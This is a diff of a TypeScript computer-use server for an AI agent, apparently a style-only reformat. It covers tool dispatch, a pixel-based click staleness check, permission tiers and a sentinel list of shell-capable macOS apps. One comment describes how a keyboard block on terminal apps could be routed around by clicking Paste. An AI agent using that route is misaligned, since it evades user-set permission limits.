// ─── Dispatch ────────────────────────────────────────────────────────
try {
const result = await handleToolCall(adapter, name, args, overrides);
const result = await handleToolCall(adapter, name, args, overrides)
if (result.screenshot) {
lastScreenshot = result.screenshot;
const { base64: _blob, ...dims } = result.screenshot;
logger.debug(`[${serverName}] screenshot dims: ${JSON.stringify(dims)}`);
ctx.onScreenshotCaptured?.(dims);
lastScreenshot = result.screenshot
const { base64: _blob, ...dims } = result.screenshot
logger.debug(`[${serverName}] screenshot dims: ${JSON.stringify(dims)}`)
ctx.onScreenshotCaptured?.(dims)
}
return result;
return result
} finally {
dialogAbort.abort();
dialogAbort.abort()
}
};
}
}
export function createComputerUseMcpServer(
@@ -257,35 +257,36 @@ export function createComputerUseMcpServer(
coordinateMode: CoordinateMode,
context?: ComputerUseSessionContext,
): Server {
const { serverName, logger } = adapter;
const { serverName, logger } = adapter
const server = new Server(
{ name: serverName, version: "0.1.3" },
{ name: serverName, version: '0.1.3' },
{ capabilities: { tools: {}, logging: {} } },
);
)
const tools = buildComputerUseTools(
adapter.executor.capabilities,
coordinateMode,
);
)
server.setRequestHandler(ListToolsRequestSchema, async () =>
adapter.isDisabled() ? { tools: [] } : { tools },
);
)
if (context) {
const dispatch = bindSessionContext(adapter, coordinateMode, context);
const dispatch = bindSessionContext(adapter, coordinateMode, context)
server.setRequestHandler(
CallToolRequestSchema,
async (request): Promise<CallToolResult> => {
const { screenshot: _s, telemetry: _t, ...result } = await dispatch(
request.params.name,
request.params.arguments ?? {},
);
return result;
const {
screenshot: _s,
telemetry: _t,
...result
} = await dispatch(request.params.name, request.params.arguments ?? {})
return result
},
);
return server;
)
return server
}
// Legacy: no context → stub handler. Reached only if something calls the
@@ -296,18 +297,18 @@ export function createComputerUseMcpServer(
async (request): Promise<CallToolResult> => {
logger.warn(
`[${serverName}] tool call "${request.params.name}" reached the stub handler — no session context bound. Per-session state unavailable.`,
);
)
return {
content: [
{
type: "text",
text: "This computer-use server instance is not wired to a session. Per-session app permissions are not available on this code path.",
type: 'text',
text: 'This computer-use server instance is not wired to a session. Per-session app permissions are not available on this code path.',
},
],
isError: true,
};
}
},
);
)
return server;
return server
}

View File

@@ -19,28 +19,28 @@
* this package never imports it — the crop is a function parameter.
*/
import type { ScreenshotResult } from "./executor.js";
import type { Logger } from "./types.js";
import type { ScreenshotResult } from './executor.js'
import type { Logger } from './types.js'
/** Injected by the host. See `ComputerUseHostAdapter.cropRawPatch`. */
export type CropRawPatchFn = (
jpegBase64: string,
rect: { x: number; y: number; width: number; height: number },
) => Buffer | null;
) => Buffer | null
/** 9×9 is empirically the sweet spot — large enough to catch a tooltip
* appearing, small enough to not false-positive on surrounding animation.
**/
const DEFAULT_GRID_SIZE = 9;
const DEFAULT_GRID_SIZE = 9
export interface PixelCompareResult {
/** true → click may proceed. false → patch changed, abort the click. */
valid: boolean;
valid: boolean
/** true → validation did not run (cold start, sub-gate off, or internal
* error). The caller MUST treat this identically to `valid: true`. */
skipped: boolean;
skipped: boolean
/** Populated when valid === false. Returned to the model verbatim. */
warning?: string;
warning?: string
}
/**
@@ -57,22 +57,22 @@ function computeCropRect(
yPercent: number,
gridSize: number,
): { x: number; y: number; width: number; height: number } | null {
if (!imgW || !imgH) return null;
if (!imgW || !imgH) return null
const clampedX = Math.max(0, Math.min(100, xPercent));
const clampedY = Math.max(0, Math.min(100, yPercent));
const clampedX = Math.max(0, Math.min(100, xPercent))
const clampedY = Math.max(0, Math.min(100, yPercent))
const centerX = Math.round((clampedX / 100.0) * imgW);
const centerY = Math.round((clampedY / 100.0) * imgH);
const centerX = Math.round((clampedX / 100.0) * imgW)
const centerY = Math.round((clampedY / 100.0) * imgH)
const halfGrid = Math.floor(gridSize / 2);
const cropX = Math.max(0, centerX - halfGrid);
const cropY = Math.max(0, centerY - halfGrid);
const cropW = Math.min(gridSize, imgW - cropX);
const cropH = Math.min(gridSize, imgH - cropY);
if (cropW <= 0 || cropH <= 0) return null;
const halfGrid = Math.floor(gridSize / 2)
const cropX = Math.max(0, centerX - halfGrid)
const cropY = Math.max(0, centerY - halfGrid)
const cropW = Math.min(gridSize, imgW - cropX)
const cropH = Math.min(gridSize, imgH - cropY)
if (cropW <= 0 || cropH <= 0) return null
return { x: cropX, y: cropY, width: cropW, height: cropH };
return { x: cropX, y: cropY, width: cropW, height: cropH }
}
/**
@@ -98,17 +98,17 @@ export function comparePixelAtLocation(
xPercent,
yPercent,
gridSize,
);
if (!rect) return false;
)
if (!rect) return false
const patch1 = crop(lastScreenshot.base64, rect);
const patch2 = crop(freshScreenshot.base64, rect);
if (!patch1 || !patch2) return false;
const patch1 = crop(lastScreenshot.base64, rect)
const patch2 = crop(freshScreenshot.base64, rect)
if (!patch1 || !patch2) return false
// Direct buffer equality. Note: nativeImage.toBitmap() gives BGRA, sharp's
// .raw() gave RGB.
// Doesn't matter — we're comparing two same-format buffers for equality.
return patch1.equals(patch2);
return patch1.equals(patch2)
}
/**
@@ -135,13 +135,13 @@ export async function validateClickTarget(
gridSize: number = DEFAULT_GRID_SIZE,
): Promise<PixelCompareResult> {
if (!lastScreenshot) {
return { valid: true, skipped: true };
return { valid: true, skipped: true }
}
try {
const fresh = await takeFreshScreenshot();
const fresh = await takeFreshScreenshot()
if (!fresh) {
return { valid: true, skipped: true };
return { valid: true, skipped: true }
}
const pixelsMatch = comparePixelAtLocation(
@@ -151,21 +151,21 @@ export async function validateClickTarget(
xPercent,
yPercent,
gridSize,
);
)
if (pixelsMatch) {
return { valid: true, skipped: false };
return { valid: true, skipped: false }
}
return {
valid: false,
skipped: false,
warning:
"Screen content at the target location changed since the last screenshot. Take a new screenshot before clicking.",
};
'Screen content at the target location changed since the last screenshot. Take a new screenshot before clicking.',
}
} catch (err) {
// Skip validation on technical errors, execute action anyway.
// Battle-tested: validation failure must never block the click.
logger.debug("[pixelCompare] validation error, skipping", err);
return { valid: true, skipped: true };
logger.debug('[pixelCompare] validation error, skipping', err)
return { valid: true, skipped: true }
}
}

View File

@@ -11,33 +11,33 @@
/** These apps can execute arbitrary shell commands. */
const SHELL_ACCESS_BUNDLE_IDS = new Set([
"com.apple.Terminal",
"com.googlecode.iterm2",
"com.microsoft.VSCode",
"dev.warp.Warp-Stable",
"com.github.wez.wezterm",
"io.alacritty",
"net.kovidgoyal.kitty",
"com.jetbrains.intellij",
"com.jetbrains.pycharm",
]);
'com.apple.Terminal',
'com.googlecode.iterm2',
'com.microsoft.VSCode',
'dev.warp.Warp-Stable',
'com.github.wez.wezterm',
'io.alacritty',
'net.kovidgoyal.kitty',
'com.jetbrains.intellij',
'com.jetbrains.pycharm',
])
/** Finder in the allowlist ≈ browse + open-any-file. */
const FILESYSTEM_ACCESS_BUNDLE_IDS = new Set(["com.apple.finder"]);
const FILESYSTEM_ACCESS_BUNDLE_IDS = new Set(['com.apple.finder'])
const SYSTEM_SETTINGS_BUNDLE_IDS = new Set(["com.apple.systempreferences"]);
const SYSTEM_SETTINGS_BUNDLE_IDS = new Set(['com.apple.systempreferences'])
export const SENTINEL_BUNDLE_IDS: ReadonlySet<string> = new Set([
...SHELL_ACCESS_BUNDLE_IDS,
...FILESYSTEM_ACCESS_BUNDLE_IDS,
...SYSTEM_SETTINGS_BUNDLE_IDS,
]);
])
export type SentinelCategory = "shell" | "filesystem" | "system_settings";
export type SentinelCategory = 'shell' | 'filesystem' | 'system_settings'
export function getSentinelCategory(bundleId: string): SentinelCategory | null {
if (SHELL_ACCESS_BUNDLE_IDS.has(bundleId)) return "shell";
if (FILESYSTEM_ACCESS_BUNDLE_IDS.has(bundleId)) return "filesystem";
if (SYSTEM_SETTINGS_BUNDLE_IDS.has(bundleId)) return "system_settings";
return null;
if (SHELL_ACCESS_BUNDLE_IDS.has(bundleId)) return 'shell'
if (FILESYSTEM_ACCESS_BUNDLE_IDS.has(bundleId)) return 'filesystem'
if (SYSTEM_SETTINGS_BUNDLE_IDS.has(bundleId)) return 'system_settings'
return null
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -2,19 +2,19 @@ import type {
ComputerExecutor,
InstalledApp,
ScreenshotResult,
} from "./executor.js";
} from './executor.js'
/** `ScreenshotResult` without the base64 blob. The shape hosts persist for
* cross-respawn `scaleCoord` survival. */
export type ScreenshotDims = Omit<ScreenshotResult, "base64">;
export type ScreenshotDims = Omit<ScreenshotResult, 'base64'>
/** Shape mirrors claude-for-chrome-mcp/src/types.ts:1-7 */
export interface Logger {
info: (message: string, ...args: unknown[]) => void;
error: (message: string, ...args: unknown[]) => void;
warn: (message: string, ...args: unknown[]) => void;
debug: (message: string, ...args: unknown[]) => void;
silly: (message: string, ...args: unknown[]) => void;
info: (message: string, ...args: unknown[]) => void
error: (message: string, ...args: unknown[]) => void
warn: (message: string, ...args: unknown[]) => void
debug: (message: string, ...args: unknown[]) => void
silly: (message: string, ...args: unknown[]) => void
}
/**
@@ -35,7 +35,7 @@ export interface Logger {
* Enforced in `runInputActionGates` via the frontmost-app check: keyboard
* actions require `"full"`, mouse actions require `"click"` or higher.
*/
export type CuAppPermTier = "read" | "click" | "full";
export type CuAppPermTier = 'read' | 'click' | 'full'
/**
* A single app the user has approved for the current session. Session-scoped
@@ -45,32 +45,32 @@ export type CuAppPermTier = "read" | "click" | "full";
* scope.
*/
export interface AppGrant {
bundleId: string;
displayName: string;
bundleId: string
displayName: string
/** Epoch ms. For Settings-page display ("Granted 3m ago"). */
grantedAt: number;
grantedAt: number
/** Undefined → `"full"` (back-compat for pre-tier grants persisted in
* session state). */
tier?: CuAppPermTier;
tier?: CuAppPermTier
}
/** Orthogonal to the app allowlist. */
export interface CuGrantFlags {
clipboardRead: boolean;
clipboardWrite: boolean;
clipboardRead: boolean
clipboardWrite: boolean
/**
* When false, the `key` tool rejects combos in `keyBlocklist.ts`
* (cmd+q, cmd+tab, cmd+space, cmd+shift+q, ctrl+alt+delete). All other
* key sequences work regardless.
*/
systemKeyCombos: boolean;
systemKeyCombos: boolean
}
export const DEFAULT_GRANT_FLAGS: CuGrantFlags = {
clipboardRead: false,
clipboardWrite: false,
systemKeyCombos: false,
};
}
/**
* Host picks via GrowthBook JSON feature `chicago_coordinate_mode`, baked
@@ -78,7 +78,7 @@ export const DEFAULT_GRANT_FLAGS: CuGrantFlags = {
* ONE convention and never learns the other exists. `normalized_0_100`
* sidesteps the Retina scaleFactor bug class entirely.
*/
export type CoordinateMode = "pixels" | "normalized_0_100";
export type CoordinateMode = 'pixels' | 'normalized_0_100'
/**
* Independent kill switches for subtle/risky ported behaviors. Read from
@@ -86,28 +86,28 @@ export type CoordinateMode = "pixels" | "normalized_0_100";
*/
export interface CuSubGates {
/** 9×9 exact-byte staleness guard before click. */
pixelValidation: boolean;
pixelValidation: boolean
/** Route `type("foo\nbar")` through clipboard instead of keystroke-by-keystroke. */
clipboardPasteMultiline: boolean;
clipboardPasteMultiline: boolean
/**
* Ease-out-cubic mouse glide at 60fps, distance-proportional duration
* (2000 px/sec, capped at 0.5s). Adds up to ~0.5s latency
* per click. When off, cursor teleports instantly.
*/
mouseAnimation: boolean;
mouseAnimation: boolean
/**
* Pre-action sequence: hide non-allowlisted apps, then defocus us (from the
* Vercept acquisition). When off, the
* frontmost gate fires in the normal case and the model gets stuck — this
* is the A/B-test-the-old-broken-behavior switch.
*/
hideBeforeAction: boolean;
hideBeforeAction: boolean
/**
* Auto-resolve the target display before each screenshot when the
* selected display has no allowed-app windows. When on, `handleScreenshot`
* uses the atomic Swift path; off → sticks with `selectedDisplayId`.
*/
autoTargetDisplay: boolean;
autoTargetDisplay: boolean
/**
* Stash+clear the clipboard while a tier-"click" app is frontmost.
* Closes the gap where a click-tier terminal/IDE has a UI Paste button
@@ -115,7 +115,7 @@ export interface CuSubGates {
* keyboard block can be routed around by clicking Paste. Restored when
* a non-"click" app becomes frontmost, or at turn end.
*/
clipboardGuard: boolean;
clipboardGuard: boolean
}
// ----------------------------------------------------------------------------
@@ -125,17 +125,17 @@ export interface CuSubGates {
/** One entry per app the model asked for, after name → bundle ID resolution. */
export interface ResolvedAppRequest {
/** What the model asked for (e.g. "Slack", "com.tinyspeck.slackmacgap"). */
requestedName: string;
requestedName: string
/** The resolved InstalledApp if found, else undefined (shown greyed in the UI). */
resolved?: InstalledApp;
resolved?: InstalledApp
/** Shell-access-equivalent bundle IDs get a UI warning. See sentinelApps.ts. */
isSentinel: boolean;
isSentinel: boolean
/** Already in the allowlist → skip the checkbox, return in `granted` immediately. */
alreadyGranted: boolean;
alreadyGranted: boolean
/** Hardcoded tier for this app (browser→"read", terminal→"click", else "full").
* The dialog displays this read-only; the renderer passes it through
* verbatim in the AppGrant. */
proposedTier: CuAppPermTier;
proposedTier: CuAppPermTier
}
/**
@@ -145,18 +145,18 @@ export interface ResolvedAppRequest {
* change needed.
*/
export interface CuPermissionRequest {
requestId: string;
requestId: string
/** Model-provided reason string. Shown prominently in the approval UI. */
reason: string;
apps: ResolvedAppRequest[];
reason: string
apps: ResolvedAppRequest[]
/** What the model asked for. User can toggle independently of apps. */
requestedFlags: Partial<CuGrantFlags>;
requestedFlags: Partial<CuGrantFlags>
/**
* For the "On Windows, Claude can see all apps..." footnote. Taken from
* `executor.capabilities.screenshotFiltering` so the renderer doesn't
* need to know about platforms.
*/
screenshotFiltering: "native" | "none";
screenshotFiltering: 'native' | 'none'
/**
* Present only when TCC permissions are NOT yet granted. When present,
* the renderer shows a TCC toggle panel (two rows: Accessibility, Screen
@@ -166,9 +166,9 @@ export interface CuPermissionRequest {
* restart after granting Screen Recording — we don't.
*/
tccState?: {
accessibility: boolean;
screenRecording: boolean;
};
accessibility: boolean
screenRecording: boolean
}
/**
* Apps with windows on the CU display that aren't in the requested
* allowlist. These will be hidden the first time Claude takes an action.
@@ -176,13 +176,13 @@ export interface CuPermissionRequest {
* user clicks Allow, but it's a preview, not a contract. Absent when
* empty so the renderer can skip the section cleanly.
*/
willHide?: Array<{ bundleId: string; displayName: string }>;
willHide?: Array<{ bundleId: string; displayName: string }>
/**
* `chicagoAutoUnhide` app preference at request time. The renderer picks
* between "...then restored when Claude is done" and "...will be hidden"
* copy. Absent when `willHide` is absent (same condition).
*/
autoUnhideEnabled?: boolean;
autoUnhideEnabled?: boolean
}
/**
@@ -191,10 +191,10 @@ export interface CuPermissionRequest {
* LocalAgentModeSessionManager.ts:2794).
*/
export interface CuPermissionResponse {
granted: AppGrant[];
granted: AppGrant[]
/** Bundle IDs the user unchecked, or apps that weren't installed. */
denied: Array<{ bundleId: string; reason: "user_denied" | "not_installed" }>;
flags: CuGrantFlags;
denied: Array<{ bundleId: string; reason: 'user_denied' | 'not_installed' }>
flags: CuGrantFlags
/**
* Whether the user clicked Allow in THIS dialog. Only set by the
* teach-mode handler — regular request_access doesn't need it (the
@@ -205,7 +205,7 @@ export interface CuPermissionResponse {
* them apart without this. Undefined → legacy/regular path, do not
* gate on it.
*/
userConsented?: boolean;
userConsented?: boolean
}
// ----------------------------------------------------------------------------
@@ -218,9 +218,9 @@ export interface CuPermissionResponse {
* No Electron imports in this package — the host injects everything.
*/
export interface ComputerUseHostAdapter {
serverName: string;
logger: Logger;
executor: ComputerExecutor;
serverName: string
logger: Logger
executor: ComputerExecutor
/**
* TCC state check — Accessibility + Screen Recording on macOS. Pure check,
@@ -231,23 +231,23 @@ export interface ComputerUseHostAdapter {
ensureOsPermissions(): Promise<
| { granted: true }
| { granted: false; accessibility: boolean; screenRecording: boolean }
>;
>
/** The Settings-page kill switch (`chicagoEnabled` app preference). */
isDisabled(): boolean;
isDisabled(): boolean
/**
* The `chicagoAutoUnhide` app preference. Consumed by `buildAccessRequest`
* to populate `CuPermissionRequest.autoUnhideEnabled` so the renderer's
* "will be hidden" copy can say "then restored" only when true.
*/
getAutoUnhideEnabled(): boolean;
getAutoUnhideEnabled(): boolean
/**
* Sub-gates re-read on every tool call so GrowthBook flips take effect
* mid-session without restart.
*/
getSubGates(): CuSubGates;
getSubGates(): CuSubGates
/**
* JPEG decode + crop + raw pixel bytes, for the PixelCompare staleness guard.
@@ -261,7 +261,7 @@ export interface ComputerUseHostAdapter {
cropRawPatch(
jpegBase64: string,
rect: { x: number; y: number; width: number; height: number },
): Buffer | null;
): Buffer | null
}
// ----------------------------------------------------------------------------
@@ -286,18 +286,18 @@ export interface ComputerUseHostAdapter {
export interface ComputerUseSessionContext {
// ── Read state fresh per call ──────────────────────────────────────
getAllowedApps(): readonly AppGrant[];
getGrantFlags(): CuGrantFlags;
getAllowedApps(): readonly AppGrant[]
getGrantFlags(): CuGrantFlags
/** Per-user auto-deny list (Settings page). Empty array = none. */
getUserDeniedBundleIds(): readonly string[];
getSelectedDisplayId(): number | undefined;
getDisplayPinnedByModel?(): boolean;
getDisplayResolvedForApps?(): string | undefined;
getTeachModeActive?(): boolean;
getUserDeniedBundleIds(): readonly string[]
getSelectedDisplayId(): number | undefined
getDisplayPinnedByModel?(): boolean
getDisplayResolvedForApps?(): string | undefined
getTeachModeActive?(): boolean
/** Dims-only fallback when `lastScreenshot` is unset (cross-respawn).
* `bindSessionContext` reconstructs `{...dims, base64: ""}` so scaleCoord
* works and pixelCompare correctly skips. */
getLastScreenshotDims?(): ScreenshotDims | undefined;
getLastScreenshotDims?(): ScreenshotDims | undefined
// ── Write-back callbacks ───────────────────────────────────────────
@@ -307,46 +307,46 @@ export interface ComputerUseSessionContext {
onPermissionRequest?(
req: CuPermissionRequest,
signal: AbortSignal,
): Promise<CuPermissionResponse>;
): Promise<CuPermissionResponse>
/** Teach-mode sibling of `onPermissionRequest`. */
onTeachPermissionRequest?(
req: CuTeachPermissionRequest,
signal: AbortSignal,
): Promise<CuPermissionResponse>;
): Promise<CuPermissionResponse>
/** Called by `bindSessionContext` after merging a permission response into
* the allowlist (dedupe on bundleId, truthy-only flag spread). Host
* persists for resume survival. */
onAllowedAppsChanged?(apps: readonly AppGrant[], flags: CuGrantFlags): void;
onAppsHidden?(bundleIds: string[]): void;
onAllowedAppsChanged?(apps: readonly AppGrant[], flags: CuGrantFlags): void
onAppsHidden?(bundleIds: string[]): void
/** Reads the session's clipboardGuard stash. undefined → no stash held. */
getClipboardStash?(): string | undefined;
getClipboardStash?(): string | undefined
/** Writes the clipboardGuard stash. undefined clears it. */
onClipboardStashChanged?(stash: string | undefined): void;
onResolvedDisplayUpdated?(displayId: number): void;
onDisplayPinned?(displayId: number | undefined): void;
onDisplayResolvedForApps?(sortedBundleIdsKey: string): void;
onClipboardStashChanged?(stash: string | undefined): void
onResolvedDisplayUpdated?(displayId: number): void
onDisplayPinned?(displayId: number | undefined): void
onDisplayResolvedForApps?(sortedBundleIdsKey: string): void
/** Called after each screenshot. Host persists for respawn survival. */
onScreenshotCaptured?(dims: ScreenshotDims): void;
onTeachModeActivated?(): void;
onTeachStep?(req: TeachStepRequest): Promise<TeachStepResult>;
onTeachWorking?(): void;
onScreenshotCaptured?(dims: ScreenshotDims): void
onTeachModeActivated?(): void
onTeachStep?(req: TeachStepRequest): Promise<TeachStepResult>
onTeachWorking?(): void
// ── Lock (async) ───────────────────────────────────────────────────
/** At most one session uses CU at a time. Awaited by `bindSessionContext`
* before dispatch. Undefined → no lock gating (proceed). */
checkCuLock?(): Promise<{ holder: string | undefined; isSelf: boolean }>;
checkCuLock?(): Promise<{ holder: string | undefined; isSelf: boolean }>
/** Take the lock. Called when `checkCuLock` returned `holder: undefined`
* on a non-deferring tool. Host emits enter-CU signals here. */
acquireCuLock?(): Promise<void>;
acquireCuLock?(): Promise<void>
/** Host-specific lock-held error text. Default is the package's generic
* message. The CLI host includes the holder session-ID prefix. */
formatLockHeldMessage?(holder: string): string;
formatLockHeldMessage?(holder: string): string
/** User-abort signal. Passed through to `ComputerUseOverrides.isAborted`
* for the mid-loop checks in handleComputerBatch / handleType. See that
* field for semantics. */
isAborted?(): boolean;
isAborted?(): boolean
}
// ----------------------------------------------------------------------------
@@ -360,9 +360,9 @@ export interface ComputerUseSessionContext {
* store, not the server.
*/
export interface ComputerUseOverrides {
allowedApps: AppGrant[];
grantFlags: CuGrantFlags;
coordinateMode: CoordinateMode;
allowedApps: AppGrant[]
grantFlags: CuGrantFlags
coordinateMode: CoordinateMode
/**
* User-configured auto-deny list (Settings → Desktop app → Computer Use).
@@ -376,14 +376,14 @@ export interface ComputerUseOverrides {
* not session state). Contrast with `allowedApps` which is per-session.
* Empty array = no user-configured denies (the default).
*/
userDeniedBundleIds: readonly string[];
userDeniedBundleIds: readonly string[]
/**
* Display CU operates on; read fresh per call. `scaleCoord` uses the
* `originX/Y` snapshotted in `lastScreenshot`, so mid-session switches
* only affect the NEXT screenshot/prepare call.
*/
selectedDisplayId?: number;
selectedDisplayId?: number
/**
* The `request_access` tool handler calls this and awaits. The wrapper
@@ -395,14 +395,16 @@ export interface ComputerUseOverrides {
* Undefined when the session wasn't wired with a permission handler (e.g.
* a future headless mode). `request_access` returns a tool error in that case.
*/
onPermissionRequest?: (req: CuPermissionRequest) => Promise<CuPermissionResponse>;
onPermissionRequest?: (
req: CuPermissionRequest,
) => Promise<CuPermissionResponse>
/**
* For the pixel-validation staleness guard. The model's-last-screenshot,
* stashed by serverDef.ts after each `screenshot` tool call. Undefined on
* cold start → pixel validation skipped (click proceeds).
*/
lastScreenshot?: ScreenshotResult;
lastScreenshot?: ScreenshotResult
/**
* Fired after every `prepareForAction` with the bundle IDs it just hid.
@@ -416,7 +418,7 @@ export interface ComputerUseOverrides {
* Undefined when the session wasn't wired with a tracker — unhide just
* doesn't happen.
*/
onAppsHidden?: (bundleIds: string[]) => void;
onAppsHidden?: (bundleIds: string[]) => void
/**
* Reads the clipboardGuard stash from session state. `undefined` means no
@@ -424,7 +426,7 @@ export interface ComputerUseOverrides {
* and clears on restore. Sibling of the `cuHiddenDuringTurn` getter pattern
* — state lives on the host's session, not module-level here.
*/
getClipboardStash?: () => string | undefined;
getClipboardStash?: () => string | undefined
/**
* Writes the clipboardGuard stash to session state. `undefined` clears.
@@ -433,7 +435,7 @@ export interface ComputerUseOverrides {
* directly and restores via Electron's `clipboard.writeText` (no nest-only
* import surface).
*/
onClipboardStashChanged?: (stash: string | undefined) => void;
onClipboardStashChanged?: (stash: string | undefined) => void
/**
* Write the resolver's picked display back to session so teach overlay
@@ -442,7 +444,7 @@ export interface ComputerUseOverrides {
* `resolvePrepareCapture`'s pick differs from `selectedDisplayId`.
* Fire-and-forget.
*/
onResolvedDisplayUpdated?: (displayId: number) => void;
onResolvedDisplayUpdated?: (displayId: number) => void
/**
* Set when the model explicitly picked a display via `switch_display`.
@@ -453,7 +455,7 @@ export interface ComputerUseOverrides {
* overrides any `selectedDisplayId` whenever an allowed app shares the
* host's monitor.
*/
displayPinnedByModel?: boolean;
displayPinnedByModel?: boolean
/**
* Write the model's explicit display pick to session. `displayId:
@@ -461,7 +463,7 @@ export interface ComputerUseOverrides {
* Sibling of `onResolvedDisplayUpdated` but also sets the pin flag —
* the two are semantically distinct (resolver-picked vs model-picked).
*/
onDisplayPinned?: (displayId: number | undefined) => void;
onDisplayPinned?: (displayId: number | undefined) => void
/**
* Sorted comma-joined bundle-ID set the display was last auto-resolved
@@ -470,14 +472,14 @@ export interface ComputerUseOverrides {
* doesn't yank the display on every screenshot, only when the app set
* has changed since the last resolve (or manual switch).
*/
displayResolvedForApps?: string;
displayResolvedForApps?: string
/**
* Records which app set the current display selection was made for. Fired
* alongside `onResolvedDisplayUpdated` when the resolver picks, so the next
* screenshot sees a matching set and skips auto-resolve.
*/
onDisplayResolvedForApps?: (sortedBundleIdsKey: string) => void;
onDisplayResolvedForApps?: (sortedBundleIdsKey: string) => void
/**
* Global CU lock — at most one session actively uses CU at a time. Checked
@@ -494,7 +496,7 @@ export interface ComputerUseOverrides {
* The host manages release (on session idle/stop/archive) — this package
* never releases.
*/
checkCuLock?: () => { holder: string | undefined; isSelf: boolean };
checkCuLock?: () => { holder: string | undefined; isSelf: boolean }
/**
* Take the lock for this session. `handleToolCall` calls this exactly once
@@ -502,7 +504,7 @@ export interface ComputerUseOverrides {
* undefined. No-op if already held (defensive — the check should have
* short-circuited). Host emits an event the overlay listens to.
*/
acquireCuLock?: () => void;
acquireCuLock?: () => void
/**
* User-abort signal. Checked mid-iteration inside `handleComputerBatch`
@@ -513,7 +515,7 @@ export interface ComputerUseOverrides {
* Undefined → never aborts (e.g. unwired host). Live per-check read —
* same lazy-getter pattern as `checkCuLock`.
*/
isAborted?: () => boolean;
isAborted?: () => boolean
// ── Teach mode ───────────────────────────────────────────────────────
// Wired only when the host's teachModeEnabled gate is on. All five
@@ -529,7 +531,7 @@ export interface ComputerUseOverrides {
*/
onTeachPermissionRequest?: (
req: CuTeachPermissionRequest,
) => Promise<CuPermissionResponse>;
) => Promise<CuPermissionResponse>
/**
* Called by `handleRequestTeachAccess` after the user approves and at least
@@ -538,7 +540,7 @@ export interface ComputerUseOverrides {
* fullscreen overlay. Cleared by the host on turn end (`transitionTo("idle")`)
* alongside the CU lock release.
*/
onTeachModeActivated?: () => void;
onTeachModeActivated?: () => void
/**
* Read by `handleRequestAccess` and `handleRequestTeachAccess` to
@@ -549,7 +551,7 @@ export interface ComputerUseOverrides {
* (not a boolean field) because teach mode state lives on the session,
* not on this per-call overrides object.
*/
getTeachModeActive?: () => boolean;
getTeachModeActive?: () => boolean
/**
* Called by `handleTeachStep` with the scaled anchor + text. Host stores
@@ -562,7 +564,7 @@ export interface ComputerUseOverrides {
* Same blocking-promise pattern as `onPermissionRequest`, but resolved by
* the teach overlay's own preload (not the main renderer's tool-approval UI).
*/
onTeachStep?: (req: TeachStepRequest) => Promise<TeachStepResult>;
onTeachStep?: (req: TeachStepRequest) => Promise<TeachStepResult>
/**
* Called immediately after `onTeachStep` resolves with "next", before
@@ -571,7 +573,7 @@ export interface ComputerUseOverrides {
* notch). The next `onTeachStep` call replaces the spinner with the new
* tooltip content.
*/
onTeachWorking?: () => void;
onTeachWorking?: () => void
}
// ----------------------------------------------------------------------------
@@ -590,13 +592,13 @@ export interface ComputerUseOverrides {
* CSS coords match.
*/
export interface TeachStepRequest {
explanation: string;
nextPreview: string;
explanation: string
nextPreview: string
/** Full-display logical points. Undefined → overlay centers the tooltip, hides the arrow. */
anchorLogical?: { x: number; y: number };
anchorLogical?: { x: number; y: number }
}
export type TeachStepResult = { action: "next" } | { action: "exit" };
export type TeachStepResult = { action: 'next' } | { action: 'exit' }
/**
* Payload for the renderer's ComputerUseTeachApproval dialog. Rides through
@@ -606,17 +608,17 @@ export type TeachStepResult = { action: "next" } | { action: "exit" };
* fields it doesn't render (no grant-flag checkboxes in teach mode).
*/
export interface CuTeachPermissionRequest {
requestId: string;
requestId: string
/** Model-provided reason. Shown in the dialog headline ("guide you through {reason}"). */
reason: string;
apps: ResolvedAppRequest[];
screenshotFiltering: "native" | "none";
reason: string
apps: ResolvedAppRequest[]
screenshotFiltering: 'native' | 'none'
/** Present only when TCC is ungranted — same semantics as `CuPermissionRequest.tccState`. */
tccState?: {
accessibility: boolean;
screenRecording: boolean;
};
willHide?: Array<{ bundleId: string; displayName: string }>;
accessibility: boolean
screenRecording: boolean
}
willHide?: Array<{ bundleId: string; displayName: string }>
/** Same semantics as `CuPermissionRequest.autoUnhideEnabled`. */
autoUnhideEnabled?: boolean;
autoUnhideEnabled?: boolean
}

View File

@@ -1,8 +1,8 @@
{
"name": "@ant/computer-use-swift",
"version": "1.0.0",
"private": true,
"type": "module",
"main": "./src/index.ts",
"types": "./src/index.ts"
"name": "@ant/computer-use-swift",
"version": "1.0.0",
"private": true,
"type": "module",
"main": "./src/index.ts",
"types": "./src/index.ts"
}

View File

@@ -9,9 +9,17 @@ import { readFileSync, unlinkSync } from 'fs'
import { tmpdir } from 'os'
import { join } from 'path'
import type {
AppInfo, AppsAPI, DisplayAPI, DisplayGeometry, InstalledApp,
PrepareDisplayResult, RunningApp, ScreenshotAPI, ScreenshotResult,
SwiftBackend, WindowDisplayInfo,
AppInfo,
AppsAPI,
DisplayAPI,
DisplayGeometry,
InstalledApp,
PrepareDisplayResult,
RunningApp,
ScreenshotAPI,
ScreenshotResult,
SwiftBackend,
WindowDisplayInfo,
} from '../types.js'
export type {
@@ -32,7 +40,8 @@ export type {
function jxaSync(script: string): string {
const result = Bun.spawnSync({
cmd: ['osascript', '-l', 'JavaScript', '-e', script],
stdout: 'pipe', stderr: 'pipe',
stdout: 'pipe',
stderr: 'pipe',
})
return new TextDecoder().decode(result.stdout).trim()
}
@@ -40,14 +49,16 @@ function jxaSync(script: string): string {
function osascriptSync(script: string): string {
const result = Bun.spawnSync({
cmd: ['osascript', '-e', script],
stdout: 'pipe', stderr: 'pipe',
stdout: 'pipe',
stderr: 'pipe',
})
return new TextDecoder().decode(result.stdout).trim()
}
async function osascript(script: string): Promise<string> {
const proc = Bun.spawn(['osascript', '-e', script], {
stdout: 'pipe', stderr: 'pipe',
stdout: 'pipe',
stderr: 'pipe',
})
const text = await new Response(proc.stdout).text()
await proc.exited
@@ -56,7 +67,8 @@ async function osascript(script: string): Promise<string> {
async function jxa(script: string): Promise<string> {
const proc = Bun.spawn(['osascript', '-l', 'JavaScript', '-e', script], {
stdout: 'pipe', stderr: 'pipe',
stdout: 'pipe',
stderr: 'pipe',
})
const text = await new Response(proc.stdout).text()
await proc.exited
@@ -101,8 +113,10 @@ export const display: DisplayAPI = {
JSON.stringify(result);
`)
return (JSON.parse(raw) as DisplayGeometry[]).map(d => ({
width: Number(d.width), height: Number(d.height),
scaleFactor: Number(d.scaleFactor), displayId: Number(d.displayId),
width: Number(d.width),
height: Number(d.height),
scaleFactor: Number(d.scaleFactor),
displayId: Number(d.displayId),
}))
} catch {
try {
